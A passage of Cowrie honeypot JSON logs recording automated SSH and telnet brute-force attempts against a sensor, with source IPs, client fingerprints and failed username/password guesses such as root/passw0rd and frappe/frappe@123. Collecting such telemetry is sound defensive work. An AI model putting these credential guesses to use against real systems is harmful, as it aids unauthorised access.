cdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:56.942786Z","src_ip":"45.156.87.204","session":"d70566857a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.8561646938324,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:57.057656Z","src_ip":"152.42.224.71","session":"fd4dc324ba13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:57.261893Z","src_ip":"45.156.87.204","session":"d70566857a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40648,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e998933f19","protocol":"telnet","message":"New connection: 152.42.224.71:40648 (10.17.0.5:23) [session: d1e998933f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:57.649842Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:58.348282Z","src_ip":"45.156.87.204","session":"d70566857a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60500,"dst_ip":"159.203.135.109","dst_port":22,"session":"de47fea28a62","protocol":"ssh","message":"New connection: 45.156.87.204:60500 (159.203.135.109:22) [session: de47fea28a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:00.548185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:00.556867Z","src_ip":"45.156.87.204","session":"de47fea28a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:00.638835Z","src_ip":"45.156.87.204","session":"de47fea28a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:00.887406Z","src_ip":"45.156.87.204","session":"de47fea28a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55430,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ed67e0846f","protocol":"telnet","message":"New connection: 152.42.224.71:55430 (10.17.0.5:23) [session: 27ed67e0846f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:01.943495Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:01.973239Z","src_ip":"45.156.87.204","session":"de47fea28a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":59490,"dst_ip":"159.203.135.109","dst_port":22,"session":"a135cf8a3e7b","protocol":"ssh","message":"New connection: 83.111.76.195:59490 (159.203.135.109:22) [session: a135cf8a3e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:02.441396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:02.450862Z","src_ip":"83.111.76.195","session":"a135cf8a3e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:02.646696Z","src_ip":"83.111.76.195","session":"a135cf8a3e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweasd!@#","message":"login attempt [root/Qweasd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:03.454510Z","src_ip":"83.111.76.195","session":"a135cf8a3e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43064,"dst_ip":"159.203.135.109","dst_port":22,"session":"c79e6fd43fea","protocol":"ssh","message":"New connection: 45.156.87.204:43064 (159.203.135.109:22) [session: c79e6fd43fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:03.819689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:03.825527Z","src_ip":"45.156.87.204","session":"c79e6fd43fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:03.913483Z","src_ip":"45.156.87.204","session":"c79e6fd43fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:04.174959Z","src_ip":"45.156.87.204","session":"c79e6fd43fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:04.652946Z","src_ip":"83.111.76.195","session":"a135cf8a3e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:05.261268Z","src_ip":"45.156.87.204","session":"c79e6fd43fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":38112,"dst_ip":"159.203.135.109","dst_port":22,"session":"b88d26eb6e04","protocol":"ssh","message":"New connection: 42.200.78.78:38112 (159.203.135.109:22) [session: b88d26eb6e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:05.890397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:05.900451Z","src_ip":"42.200.78.78","session":"b88d26eb6e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:06.114253Z","src_ip":"42.200.78.78","session":"b88d26eb6e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mexico123","message":"login attempt [root/Mexico123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:06.997393Z","src_ip":"42.200.78.78","session":"b88d26eb6e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43066,"dst_ip":"159.203.135.109","dst_port":22,"session":"af12467a9662","protocol":"ssh","message":"New connection: 45.156.87.204:43066 (159.203.135.109:22) [session: af12467a9662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:07.174898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:07.179726Z","src_ip":"45.156.87.204","session":"af12467a9662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:07.404601Z","src_ip":"45.156.87.204","session":"af12467a9662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:07.720338Z","src_ip":"45.156.87.204","session":"af12467a9662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":35486,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa6b1395f6b2","protocol":"ssh","message":"New connection: 47.237.167.49:35486 (159.203.135.109:22) [session: fa6b1395f6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:07.987618Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:08.212911Z","src_ip":"42.200.78.78","session":"b88d26eb6e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.71855425834656,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:08.523985Z","src_ip":"152.42.224.71","session":"c5f4fed57893","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:08.805060Z","src_ip":"45.156.87.204","session":"af12467a9662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43080,"dst_ip":"159.203.135.109","dst_port":22,"session":"b29be565e526","protocol":"ssh","message":"New connection: 45.156.87.204:43080 (159.203.135.109:22) [session: b29be565e526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:10.755365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:10.760542Z","src_ip":"45.156.87.204","session":"b29be565e526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:10.842949Z","src_ip":"45.156.87.204","session":"b29be565e526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:11.088348Z","src_ip":"45.156.87.204","session":"b29be565e526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53930,"dst_ip":"10.17.0.5","dst_port":23,"session":"661329fbf937","protocol":"telnet","message":"New connection: 152.42.224.71:53930 (10.17.0.5:23) [session: 661329fbf937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:11.984283Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:12.174755Z","src_ip":"45.156.87.204","session":"b29be565e526","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:13.933995Z","src_ip":"47.237.167.49","session":"fa6b1395f6b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:13.939149Z","src_ip":"47.237.167.49","session":"fa6b1395f6b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48752,"dst_ip":"159.203.135.109","dst_port":22,"session":"3471f0517131","protocol":"ssh","message":"New connection: 45.156.87.204:48752 (159.203.135.109:22) [session: 3471f0517131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:14.181769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:14.187219Z","src_ip":"45.156.87.204","session":"3471f0517131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 